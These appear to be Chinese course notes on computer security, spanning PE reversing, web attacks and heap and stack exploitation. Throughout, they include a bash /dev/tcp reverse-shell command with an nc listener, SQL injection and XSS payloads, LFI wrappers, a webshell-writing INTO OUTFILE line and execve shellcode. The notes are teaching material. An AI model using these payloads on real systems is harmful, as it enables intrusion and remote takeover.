# 計算機安全 ###### tags: `class😥` --- ## Week1. Windows Reversing Basic ### url https://www.youtube.com/watch?v=O8AQwUaTmdI ### tools - PE viewer - PE_bear ### introduction ![](https://i.imgur.com/i4IoZNi.png) #### section - .rdata: read only data, const, 不會再被修改 - .idata: holds the import directory - .data: 可能還會被修改 data, ex: in array - .text: 放程式碼 - IMAGE_FILE_HEADER: 用來描述整體的section info - NT_HEADER - Signature - FILE_HEADER(IMAGE_FILE_HEADER) - Optional HEADER 提供更詳細的section info - ![](https://i.imgur.com/ZiYI6Uv.png) - ![](https://i.imgur.com/C9aXxk8.png) 綠色部分coff file原本就存在,橘色部分為linker補上 #### create process 1. parent create: child 被 create 時為空的, 並拿到與 parent 一樣的權限 2. child process created: os 會先 file map, 並幫你initial - 0~400: stack memory - local variable in stack - global data in .text(code), .data(string, global int.....) and .idata - malloc variable in heap - heap 涵蓋 stack+global - TEB(thread environment block), TIB(thread information block): 紀錄thread的執行狀況, 32bit 從FS拿, 64bit 從GS拿 - 重要block: 1. ExceptionList(0x00) 2. StackBase(0x04) 3. Self(0x18): TEB 的 address - ![](https://i.imgur.com/dSFfguB.png) - ![](https://i.imgur.com/g0W2k2G.png) - PEB(process environment block) (0x30): 內有ImageBaseAddress 欄位, 指到 PE format 的 base (MZ開頭) - 整塊 stack 分給不同的thread, 所以 TEB.StackLimit 所描述的是當前thread所分配到的 stack memory 大小 #### process hollowing - section base = image_base + section_hdr.virtual_addr - 可以將自己的程式碼透過改寫process的memory執行 #### process running - extry point 為 ImageBase + virtual_addr, 而此 entry point 並非使用者的 main function, 而是 compiler 會先幫我們做的 pre-main, 之後在跳轉到我們寫的 main function - eax register 存 returned value #### linker > 包裝多個coff file ### command - `gcc -c file.cpp` : obj file ## Week5.6.10. Web Security Basic ### Website - 前端(frontend) : 看的到的, Browser, ex: html, js, css - 後端(backend) : 看不到的, Server, ex: apache, php, mysql, nodejs ### url ![](https://i.imgur.com/1gYAqki.png) - Authority : 主機&port, 機器 - Scheme : protocol, ex: http, https - Query : request 的參數 ### request ![](https://i.imgur.com/YA2041z.png) 1. method : get, post... - get 參數會在 url - post 參數顯示在 http body 2. CRLF (Carriage Return and Line Feed) : \r\n - hdr & body 中間還有一個 \r\n - ![](https://i.imgur.com/1ZXK5jf.png) 3. path : 接在 method 的後面 4. host : request 的 domain 5. user-agent : 表示 client 的 作業系統&瀏覽器 ### response ![](https://i.imgur.com/vsHeG7F.png) - status code : web 的狀態 1. 2XX 正常 2. 3XX 重導向 3. 4XX client壞了 4. 5XX server壞了 - 常見: 200(正常), 403(forbidden), 404(not found), 500(internal server error) ### cookies 1. web 在 client 留下的 info - 彌補 http stateless 的不足 - 提升用戶體驗 - 記錄登入資料 ex: session_id - 有時 cookies 代表使用者的登入狀態, 若 cookies 被竊取, 則會被偽裝 2. set-cookies hdr : web 告訴瀏覽器, cookies 必須要 set or update 一下 3. session & cookies : cookies 存放 session_id(號碼牌), 用session_id 去跟 web(飲料店) 換 session(飲料), session 包含一些使用者資訊 4. cookie-based session : 直接將 session data 經過加密後放在 cookies (ex: github) ### tools - hackerbar - burp suite : 攔截 request 做修改 ### information gathering #### Recon(reconnaissance) ![](https://i.imgur.com/2WmOYVA.png) - ip range - open port(service) (nmap) - sub domain - directory / path enumeration (dirsearch) : - fingerprinting (wappalyzer - chrome擴充) : 判斷web框架, 語言與server 1. server hdr 2. url route / path 3. error message(http 4XX, 5XX) 4. cookies / session - domain enumeration (https://crt.sh/)(ps. %為萬用字元) #### information leak - username / password - source code - url route / file path - config --- - robots.txt : 紀錄那些 path 不想被 google 爬蟲給爬到 - backup file : backup.zip / www.zip / www.tar.gz / index.php.bak - temporary file : .index.php.swp / index.php~ / #index.php##, 可還原 source code - .git .svn .hg (https://github.com/lijiejie/GitHack) (github.com/denny0223/scrabble) - .DS_Store (https://github.com/lijiejie/ds_store_exp) - AWS3 S3 bucket (github.com/sa7mon/S3Scanner) - ![](https://i.imgur.com/ZSSO09c.png) - google hacking (ext: extension) - github hacking --- ![](https://i.imgur.com/zcqYD2b.png) ### php > hacker friendly ![](https://i.imgur.com/b5EAC45.png) - auto type casting - NULL == 0 => true - NULL < -1 => true - NULL == false => true - "30cm" == 30 => true - "1" + "2" => int(3) - php 科學記號漏洞 - if(md(\$a) == "0e66666666666") - 只要找\$a使得md(\$a)為0e開頭, 因為0^x都為0 - md5(QNKCDZO) : 0e830400451993494058024219903391 - md5(240610708) : 0e462097431906509019562988736854 - **解法** : 用 === - php 大括號內的符號當作變數來處理 ex: "{\$hello}" - 繞過strpos - 1. if(strpos(\$a, '"')), 當"出現在第一個時會回傳0, if(0)能繞過 - 2. 直接傳array ex: abc[]=1 - file_put_contents(writed file, read file) - 用[]傳入, 會先拼接載串接 - double quote evaluation - ""內可以塞變數名字 ex: "\${phpinfo()}", "$pass" - case insensitive - 不分大小寫 - other - https://github.com/w181496/Web-CTF-Cheatsheet ![](https://i.imgur.com/d4Uefsz.png) ### week password > 密碼太單純或是預設值沒有改, 容易被force ### IDOR(insecure direct object reference) > 權限管理不當, 造成使用者可以透過更改前端或是 url 的值去攻擊 ### Injection - command injection - 系統指令可控 ex: `system("ping -c 1 ") . $_GET['ip']` - 因為分號隔開每個command, 所以若ip輸入`; ls al`, 則會執行兩個 command - 換行也可以做command injection - https://blog.csdn.net/x1269778817/article/details/46535729 - https://blog.csdn.net/helloxiaozhe/article/details/80940066 - bypass space - 繞過空格 : ${IFS} - sql injection - `' or 1=1--` ### Reverse shell 會有兩台主機, 一台是自己的(a), 一台是有漏洞的(對方, b) 1. 在a先開啟一個可以 listen tcp 的 port `nc -lvp <port>` 2. 將 reverse shell 的 script 想辦法放在 b, 並執行 `bash -i /dev/tcp/<ip>/<port> 0>&1` `basc -c 'bash -i &> /dev/tcp/<ip>/<port> 0>&1'` -i : interactive PS. PCE : Remote Code Execution #### tool - ngrok : 把內網流量導入外網 ### File Upload Vulnerability Web分三大類 - file-based : ex: /index.php - route-based : /abc - Java-based 我們 focus on file-based web --- #### attack 透過 file upload 的漏洞 - 上傳 webshell - 上傳 惡意文件 #### defense 錯誤示範 - 前端防禦 : disable js, use proxy - magic number : 各檔案前面幾個 byte 為特殊的 magic number - 構造\[image magic number\] + \[<?php xxx?>\], 不但繞過檢查, 也能執行 php code - 黑名單 - 黑名單 : 判斷副檔名 - 用其他副檔名來繞過 - .htaccess 自訂解析規則 : 上傳 .htaccess 藉此修改解析規則 - apache的解析漏洞 : 設定檔中有此行`AddType application/x-httpd-php .php` ![](https://i.imgur.com/h62mbTY.png) ### LFI (local file inclusion) - 遍歷檔案, 執行程式碼 - 常見漏洞函數: - include() - include_once() - require() - require_once() - php wrapper - source code - php://filter/convert.base64-encode/resource=index.php - php://filter/read=string.rot13/resource=index.php - 常見敏感檔案檔 - 設定檔 ![](https://i.imgur.com/3lOFDtT.png) - proc ![](https://i.imgur.com/HdbgLoA.png) - RCE trick ![](https://i.imgur.com/l6aGDhR.png) - session : 將 php code 寫入session, 在 include session (/var/lib/php/sessions/sess_\[session_id\]) ### frontend security - SOP (same origin policy) - 不同域的客戶端沒辦法讀取彼此的資源 - 同域 = same protocol + domain_name + port - ![](https://i.imgur.com/Nnw7tCB.png) - SOP例外 - \<script> - \<img> - \<link> - \<iframe> - JsonP (json with padding) - 用 script 標籤 去抓 **包含function** 的 json data - CORS(cross-origin resource sharing) - 用 http hdr 去控制跨域請求 : access-control-allow-origin - 簡單請求 : get, post.. - 非簡單請求 #### Crossing site Scripting (XSS) 控制使用者去跑JS, 騙他人去點擊網址 - reflected xss - 網頁**直接輸出**使用者內容 - 輸出被當作 html/js 解析 - ex: echo \$_GET\['aa'] - stored xss - 輸入內容會被**保存在資料庫中** - 再次訪問時會從資料庫取出 - dom xss - dom(document object model) : html 組成的資料結構 - ex : `eval(location.hash.substring(1))`, url 為 index.html#alert(1) - fragment 不會送到伺服器 - more xss payload ![](https://i.imgur.com/xgznlYg.png) - xss的應用 - 偷 cookie - key logger - 挖礦 - blind xss : 盲打 - polyglot xss : 用一組 payload 打全部 #### XSS 防禦 - CSP (content security policy) - response hdr - format : ![](https://i.imgur.com/aljDxqx.png) - directive : ![](https://i.imgur.com/fccRZrv.png) - source : ![](https://i.imgur.com/MaIMLvr.png) - CSP Evaluator : https://csp-evaluator.withgoogle.com - CSP bypass - ![](https://i.imgur.com/TB0XD4W.png) - 找地方上傳含 js 的 img, video...... - 塞 base : 控制資源的載入域 (\<script src="/abc">\</script>) ==> base/abc - script gadget - XSS auditor / filter - 透過 rewrite / filter 阻擋 xss attack - 不同瀏覽器有不同實作方式 - X-XSS-Protection hdr - ![](https://i.imgur.com/ZT7t9XB.png) - CSRF(cross-site request forgery) - 請求帶上 cookie, 造成使用者意料外的動作 - CSRF 防禦 - CSRF token : 每次訪問隨機產生一個token, 請求需夾帶此token - client side : samesite mode, 特定請求 method 才能跨域 #### sql injection - 檢測型態 - ![](https://i.imgur.com/xVkthT7.png) - ![](https://i.imgur.com/JSMmGin.png) - admin'%2b' : 像似字串相加 - target - 繞過驗證 - `'or1=1--` - 撈資料庫內容 - tool - sqlmap - union based - `news.php?id=-1 union select 1,user(),3` - PS. user() 為 mysql 的 function, 回傳當前使用者的帳號 - PS. union 左右欄位數必須相同 - 如何 try 欄位數? - 取得資料庫名, 表格名與欄位名 : information_schema (mysql >= 5.0) - 資料庫名 : information_schema.schemata - 表格名 : information_schema.tables - 欄位名 : information_schema.columns - ![](https://i.imgur.com/wvvL2Dd.png) - PS. limit 1,1 可以限制撈的資料開始 - boolean based - 資料庫查詢的資料不會顯示出來(ex 登入介面) - 但是能得知 query 成功跟失敗(回傳不同) - time based - 不能明顯得知 query 成功跟失敗 - 改成時間差 ex : if(成功 or 失敗) sleep(1) - error based - 故意造成錯誤訊息, 並塞資料在內 - 缺點 - 沒錯誤顯示 - 錯誤訊息長度限制 - out-of-band - 將資料往外傳 - 優點 - 解決boolean / time based 過慢 - 不能用 error / union based 時 - 缺點 - DBMS必須支援 & 能連外網 - dnsbin.zhack.ca - 取得系統權限(讀檔, 寫檔...) - mysql - 讀寫檔 - load_file('/etc/passwd') (寫檔) - select "<?php phpinfo();?>" INTO OUTFILE "/www/a.php" (讀檔 ) - mssql - xp_cmdshell ![](https://i.imgur.com/evYwjqb.png) - prevent sql injection : parepare ![](https://i.imgur.com/2XtpNUh.png) ### XXE **XML**: ![](https://i.imgur.com/84sqM1J.png) 用於傳遞資料 HTML元素都為預先定義好的, XML為自定義 - DTD(document type definition) - DOCTYPE : DTD聲明 - ENTITY : 像是變數 - SYSTEM, PUBLIC : 引用外部資源 - SYSTEM "file:///etc/passwd" 即為對 /etc/passwd 做請求 - 參數實體引用要 `%abc;` 變數實體引用要用 `&abc;` - ![](https://i.imgur.com/IeFNIBc.png) 1. 建立參數實體 remote (去 url 抓檔案) 2. 引用參數實體, 即為解析<!ENTITY...>, 意思為宣告 b 這個 entity --- #### XXE(XML external entitiy injection) 當XML parser在解析外部實體時, 可根據 url 做查詢 ex : file://, php:// #### out of band xxe - xxe 沒有 output, 只能透過參數實體傳出 - ![](https://i.imgur.com/J7NVYtY.png) ### SSRF(server side request forgery) ![](https://i.imgur.com/HUSFAbQ.png) 讓 server 發出請求, access 到內網資源 - XSPA(cross-site port attack) - 利用 SSRF 掃描內網 - 常見於**抓網址** - url 預覽 - 網址上傳 - 資源引用 - 常見參數 : url, link, proxy, target, host - 特殊挖掘點 - XXE - FFMPEG - Database 內建函數 - image magick - 判斷 - HTTP access log : 傳 request 到自己架的 server, 查看 log - DNS log : 看 DNS 伺服器的 log, 擋 HTTP, HTTPS 卻沒擋 DNS 請求 - 返回內容 ![](https://i.imgur.com/RmxCp7s.png) ![](https://i.imgur.com/wvuub5M.png) - cloud metadata service - gopher - ![](https://i.imgur.com/2uTiZYl.png) - 很久以前的 protocal, 能構造 tcp 封包, 又稱萬用協議 - redis : 一種 key:value 形式的 db, default port: 6739 - SET key1 "val1" - 常見 : 用 SAVE 指令寫 - webshell ![](https://i.imgur.com/uZE8Hky.png) - ssh key - crontab - php-fpm - ![](https://i.imgur.com/6nBdg6S.png) - dict protocol - DNS rebinding - 透過兩次 DNS 解析不一致所達到 - ![](https://i.imgur.com/Pknvs0c.png) - ![](https://i.imgur.com/qNLTS4e.png) - xip.io - 302 bypass ### deserialization **serializtion** : 把 obj, array 轉成能夠保存, 可傳輸的格式 若 deserializtion 可控, 則可能會造成非預期行為 - php - serialize() / unserialize() - ![](https://i.imgur.com/x3sKAse.png) - ![](https://i.imgur.com/IowGDVm.png) - 因為問題通常發生在 object 格式, deserialization 又稱 object injection - public, protected, private 不同的宣告型態, dese 後的結果也會不一樣 #### magic methods - PHP - ![](https://i.imgur.com/cJmin9w.png) - 以 __ 開頭的 function ex: \_\_set() / \_\_get() / \_\_isset() / \_\_unset() 等等 - 系統會在特定時機呼叫這些 functions ### POP chain(property oriented programming) ![](https://i.imgur.com/zCmGdQQ.png) 不斷重複使用已存在的程式片段 (通常是 \_\_wakeup(), \_\_destruct()) - phar - 一種 php 壓縮文件 - 用 phar:// 存取 phar 文件時, 會對其 metadata 進行 unserialize - 任何**文件操作函數**都能觸發 - 條件 1. 能上傳一個 phar 文件到 server 2. 控制某個文件操作函數的參數 - python - stack-based virtual **pickle** machine - 像是跑在一台 stack-based 虛擬機, 直接跑 opcode - java - 有很多 gadget 可以使用 ### SSTI (server-side template injection) 常用於 web framework 中, 目的是將使用者介面與資料分離 ![](https://i.imgur.com/WZCzWvm.png) ![](https://i.imgur.com/lj3CjWJ.png) 當模板內容(上圖左上)可控的話, 可以做到 1. 讀寫檔 2. RCE ![](https://i.imgur.com/l7oMHyP.png) ### prototype pollution - js 的 \_\_proto\_\_ => Object.prototype - ![](https://i.imgur.com/43AEu6h.png) - js 在存取 attribute, 如果當前找不到就往上(\_\_proto\_\_)找, 最後 \_\_proto\_\_ 為 NULL ### css injection - import url 撈使用者的 referer - css selector 撈取 html source --- ### web other - `dig` (domain information groper) : 用來查詢特定 url 的域名 - CNAME (Canonical Name Record) : 用來設定別名 [ref](https://ssorc.tw/994/dns%E7%9A%84cname-dname%E5%82%BB%E5%82%BB%E5%88%86%E4%B8%8D%E6%B8%85%E6%A5%9A/) - `curl -kI <url>` - js - tagged template : \`\` - string template : \${} - `<svg/a="123"/onload="alert(1)">` - `<input type="image" src="" onerror=alert(1)>` : 透過 image 找不到 source 去觸發 onerror - js comment 可以加在 onload 內, 不過要由 '' 包著 - ex : `onload='/*abc*/alert(1)'` - in js, html comment 可以用 - special ex : 可以用 html 的 close comment sign `--> abc` 註解單行 - (--> at the start of a line, optionally preceded by whitespace or MultiLineComments, must be treated as a SingleLineComment — equivalent to //.) - \u2028 為 unicode 中的換行, 可以繞過 regex 的 \n\r - `toUpperCase()` 將字母轉成大寫, 而有些無法對應到字母的 Unicode 則是轉成**最像的**大寫英文字母 - ex : ſ => S - 如果 function 被 regex 中的 [a-zA-Z] 擋掉, 可以用 [Jsfuck](http://www.jsfuck.com/) 繞掉 - jsfuck 為一種另類執行 js 的語言, 可以用 6 個 basic characters 就寫出對應的 js function - 在 assign variable 時, 透過 function 跟 operation 可以呼叫到 function - ex : `var a = alert(1)in"a"` - ex : `var data = {"a":"123"(prompt(1))in"."};` - 當 function 被 filter out 時 - 1. 可以嘗試輸入 `eval(Number(numberEncodingOfFunction).toString.concat())` 執行 function. 原理為 eval() 會執行 () 內的程式碼, 而利用數字 toString 以及 concat 組成原來 function, 再利用 eval() 即可執行 - 2. eval(numberEncodingOfFunction..toString)(argument) PS [double-dot](https://stackoverflow.com/questions/4211037/what-is-the-double-dot-operator-in-javascript) - `__proto__` 為 js 變數的特性 - [詳情](https://www.javascripttutorial.net/javascript-prototype/) - `String.replace()` function [有需多特別的用法](https://developer.mozilla.org/zh-TW/docs/Web/JavaScript/Reference/Global_Objects/String/replace) - 透過 template string, 可以直接在\`\`內用 ${function()} 的方式直接跑 function - ex : `'abc${function}'` - 只有 function 能夠同時宣告以及初始化 - [javascript hoisting](https://blog.techbridge.cc/2018/11/10/javascript-hoisting/) - function 的參數數量為 `function.length`, 利用 function hoisting 以及 overwrite js base function, 可以做XSS - html - DOM Clobbering : 覆蓋掉 DOM element 的 name or id attribute - id 為 global, name document attribute 1. 能透過 name 去覆蓋 document 的內建 function - dobble encoding bypass CSP - `../` : %2E%2E%2F (hex encoding) - the encoding of % represent : %25 - double encoding of `../` : %252E%252E%252F - html 不允許 tag 內有 comment - url - use @ can fake browser domain - ex : `https://facebook.com%2f@google.com`, browser will go to google.com - PS. %2f = / ## Week9. Binary Exploitation > 又稱打 pwn ### Basic knowledge - PIE (position-independent executable ) : - 每次執行程式的 basic address 會隨機更改 - NX (No-execute), , DB (in windows) - Canary - RELRO (Relocation Read-Only) --- - 初始化的 variable 會放在 .data, 並占空間; 為初始化的 variable 放在 .bss, 不占空間 - In x64 - 8 bytes alignment - stack : 0x10 bytes alignment (為 0x10 的倍數) - asm inst - `jmp A` = `mov rip, A` - `call A` = `push next _rip; mov rip, A` (所以可以返回) - `leave` = `mov rsp, rbp; pop rbp` (還原至 caller 的 function frame) - `ret` = `pop rip` - calling convention (呼叫 function 的慣例) - rdi, rsi, rdx, rcx, r8, r9 (stack) - rdi, rsi, r10, rcx, r8, r9 (stack) - rax : store return value - vs x86 (用 stack 傳參數) - stack frame - ![](https://i.imgur.com/kZjNWGl.png) - compiler 幫你加的 - function prologue (序幕) - ```asm push rbp mov rbp, rsp sub rsp, 0x70 ``` - function epilogue (結幕) - ```asm mov eax, 0x1 leave ret ``` - invalid memory : segmentation fault ### Overflow > 覆蓋到**理論上不該被**修改的資料 - buffer overflow - stack overflow - heap overflow 使用 overflow 藉此能控制 return address #### Canary ![](https://i.imgur.com/EyG281f.png) - Function prologue 時在 stack 上放隨機產生的 8 bytes 在 saved rbp 前, 且第一個 byte 為 NULL - Function epilogue 時會檢查在 stack 上的 canary 跟另一放在其他 segment 的值是否相同 (overflow) - 每次 run canary 不同, 同一次固定 - 發生 overflow 時, canary 會 call 其他 function, 最後程式回傳 *** stack smashing detected ***, 並 abort --- 1. 從 fs 的某個地方拿 canary 放入 stack, 並 `xor rax, rax`清空 rax (in prologue) ![](https://i.imgur.com/6Lpq24Y.png) 2. 最後要 return 時用 xor 檢查是否相同 (in eilogue) ![](https://i.imgur.com/IsXDvIR.png) ### shellcode asm ==asmbler==> machine 構造可以 fork shell 的 machine code #### syscall - rax : syscall number - arguments : rdi, rsi, rdx, r10, r8, r9 - return value : rax #### execve - in c : `execve("/bin/sh", NULL, NULL); - ```asm mov rax, 0x68732f6e69622f // "/bin/sh\0" push rax mov rdi, rsp xor rsi, rsi xor rdx, rdx mov rax, 0x3b syscall ``` ### NX ![](https://i.imgur.com/s2WFMiH.png) - data segment 本就不該執行 - stack, heap : rw- - code segment 可執行但不可修改 - r-x #### secure computing mode (seccomp) > From wiki : > seccomp allows a process to make a one-way transition into a "secure" state where it cannot make any system calls except **exit(), sigreturn(), read() and write()** to already-open file descriptors. ##### tools - [seccomp-tools](https://github.com/david942j/seccomp-tools) ### ASLR (address space layout randomization) 動態載入時, lib, stack, heap 皆隨機 ### PIE - 可以看成是 **ELF code & data section** map 到 virtual addr 時的 ALSR - 若沒有開啟, 則固定為 0x400000 - 紀錄在 ELF file ### Lazy binding > 不一定全部 function 都執行到, 因此當第一次 call lib function 時, 才會去找真正的 lib function 的位置放入 GOT 中, 之後再次呼叫時直接找 GOT #### GOT (Global offset table) > 為一個 function pointer array, 而初始值為 PLT code 的 address call function => function@plt => got 1. => function@plt+6 (第一次, function@plt 的下一行) => 跳到 .plt => _dl_runtime_resolve_xsave (把 function 真正的 address 填入 GOT) 2. => function address (其他) => #### GOTHijackng 因為 lazy binding, 所以 GOT 為可寫, 利用複寫 GOT 改寫 function pointer ### ROP (Return oriented programming) ![](https://i.imgur.com/OXKksSH.png) - ROP gadget - 狹義 : 一個片段可以執行的 code, 並以 ret 結尾 (or j) - 用來 handle **NX** - 在既有的執行區域找 gadgets, 並串成 ROP chain - 找可以 control register 的 gadget - `pop <reg>; ret` - 想辦法用各種 gadget 串出想要的組合 - 通常為 static linking (gadget 才多) - 可以利用 ROP chain 利用 system 構造出一塊可以執行區域, 再把 shellcode 放上去, 之後跳上去就可以執行 #### tools - [ROPgadget](https://github.com/JonathanSalwan/ROPgadget) ### Return to .plt (ret2plt) - handler **no PIE & has NX** - 要串的行為本來就在 binary 中, 可以直接放參數, 然後把 ret 蓋成到 .plt, 藉此去 got call function ### ret2libc - bypass **ASLR** - 關鍵為 information leak : 能夠取得 libc segment 的 address - 將此 address 減去一 offset, 能得到 base address - 目標為 leak 出 function@got 的內容 - 在透過**靜態分析**看該 function 的 offset - base_addr 後 12bit 為 000 - ![](https://i.imgur.com/ETr9Nez.png) - 通常會找 `__libc_start_main` (比 main 更早執行) ### stack pivoting (stack migration) 因為 ROP 的 payload 通常需要很大的空間, 原 stack 可能不夠放, 此時先 1. 將 payload 放在**足夠大的空間** 2. 再將**stack 遷移至 ROP payload 的位址** - `leave; ret` - 將 rbp 蓋成 ROP chain's addr -8 - ret 蓋成 `leave; ret 的 gadget - `pop rsp; ret` ### ret2csu (return to __libc_csu_init) (rop 萬解) ![](https://i.imgur.com/nb7AdFF.png) - __libc_csu_init 內部有許多控制 reg 的 inst - 能控制 rbp, rbx, r12, r13, r14, r15 - r13, r14, r15 分別控制前三個參數 rdi, rsi, rdx - r12, rbx 指定任意記憶體位址 - 將 rbx 設 0, rbp 設 1 --- ### heap exploit - environment 很重要 - libc 的版本 libc-2.23, libc-2.27 - server 的版本 16.04, 18.04 - malloc : 動態分配 memory - ![](https://i.imgur.com/XJOz4o2.png) - malloc ==> brk =(< 128KB)=> kernel 給 132KB 的 heap segment(rw), 稱 main arena (大餅乾) - kernel return 給 glibc main arena, 之後在 malloc 時 glibc 再分配給他 (小餅乾) - chunk (小餅乾) - ![](https://i.imgur.com/ssAeoMB.png) - 為 malloc 拿到的 - size alignment : 0x10 * n - chunk hdr - allocated chunk - ![](https://i.imgur.com/KzqPdRp.png) - malloc 拿到的 pointer 指到 chunk_base + 0x10(hrd) 的 address (避免寫到 hdr) - prev_size/data : 連續記憶體上一塊若為 free chunk , 則為其大小; 若非 free chunk, 則拿來存 data - size : chunk 的大小 (real size 為 0x10 * n, 而後面 4 bit 都固定為 0, 所以拿來當 flag) - PREV_INUSE(P) : 1 -> 上個 chunk 使用中 - IS_MMAPED(M) : 該 chunk 是否為 mmap 出來的 - NON_MAIN_ARENA(N) : 該 chunk 是否屬於 main chunlk - free chunk - size : 連續記憶體的下個 P flag 為 0 - fd : 同 bin 前一塊 chunk (linked list) - bk : 同 bin 後一塊 chunk (linked list) - top chunk (大餅乾) - p : 恆為1 - bin - 回收 free chunk 的 data structure - 依據 size 大小分類 (包含 hdr 的 total size) - fast bin : chunk size < 0x90 bytes - ![](https://i.imgur.com/f2JEITI.png) - 再依據更小的 size 劃分為不同的 bin (最大 global_max_fast) - 用單向的 linked list 回收 (fd 指前一個) - small bin : chunk size 更大 - ![](https://i.imgur.com/EbpdisW.png) - 再依據更小的 size 劃分為不同的 bin - large bin : - ![](https://i.imgur.com/I66Z2jm.png) - unsorted bin : - 如果 chunk size 為 fast bin 的範圍, 則直接丟到 fast bin - 如果 chunk size 大於 fast bin, **會先**放到 unsorted bin - malloc fast bin size 時, **不會先切 top chunk**, 會先去 各 size 的 fast bin 的 linked list 找有無用過的 chunk - 如果在 fast bin 沒有, 之後會去 insorted bin 找是否有 size 同的, 若有則回傳; 若只找到 size 更大的, 則切完後將剩下的再放回 unsorted bin (這也就是 unsorted bin 可能會有 fast bin size 的 chunk) - 如果都沒有, 則去 top chunk 切 - 當 trigger 到 malloc_consolidate(), 整理 unsorted bin 後, 把 chunk 丟到 small bin - main_arena 在 lib 的 .bss 段 #### heap overflow ![](https://i.imgur.com/EL58hCQ.png) 在 heap 發生的 overflow, 不同的是 #### UAF (use after free) - free(ptr)後沒有將 ptr 清空(ptr = NULL, 又稱 dangling pointer, 意即指向被釋放後位址的 pointer) - 可以用來 information leak - ex double free 可以取得第一個 chunk 的 address (第二個 chunk 的 fd) - free 一個非 fastbin size 的 chunk, 此 chunk free 後會被放入 unsorted bin, 再透過 unsorted bin 的 circular double linked list 的特性利用 fd 去 leak heap base - 開 PIE 時, objdump 看到的 address 是 offset #### fastbin attack ![](https://i.imgur.com/5sevf36.png) - 檢查 double free 時, 只檢查現在 linked list 第一個 chunk 是否等於現在要 free 的 chunk - 透過 free(A), free(B), free(A) 繞過 - 再次 malloc 同 size 時, 會造成 A 同時在 free 跟 allocated - 此時可以寫 A, 並將 fd 改掉, 再做第三次 malloc 時, 會直接拿到 fake addr 的位址 --- ##### constraints - malloc 會檢查 chunk size 正不正確 - 在 base_chunk_addr + 8 改 size 1. **address alignment weakness** 2. check size 時只取後面 4 byte 3. 後面 4 bit 不會影響 #### Hooks 若能達到任意寫, hook 是很好的目標 --- 執行相對應的 function 時, 若發現 hook 上有值, 則當作 funciton ptr 跳上去 run 結合 fastbin attack 拿到 hook 附近的 fake chunk, 再做 overwrite - __malloc_hook - __free_hook - __realloc_hook ### One gadgets - one gadget 為一 address, 只要跳上來就 get shell - 通常搭配 hook 使用, 即是 hook = one_gadget 後, 再次 call function 時就會 get shell #### Tools - [one_gadget](https://github.com/david942j/one_gadget) - `one_gadget ./libc` #### Tcache (per-thread cache) ![](https://i.imgur.com/4XvO552.png) glibc >= 2.26 後的新機制, 主要為 improve performance - free 時不會直接放到 bin 裡, 而是放入對應 size 的tcache 中, 滿 7 個後, 再 free 才會放入 fastbin - 提升效能但降低安全 - 沒有檢查 double free - malloc 沒有檢查是否合法 #### heap overlap 透過偽造 chunk size & 玩弄 malloc free, 達到不同 chunk 發生重疊的情形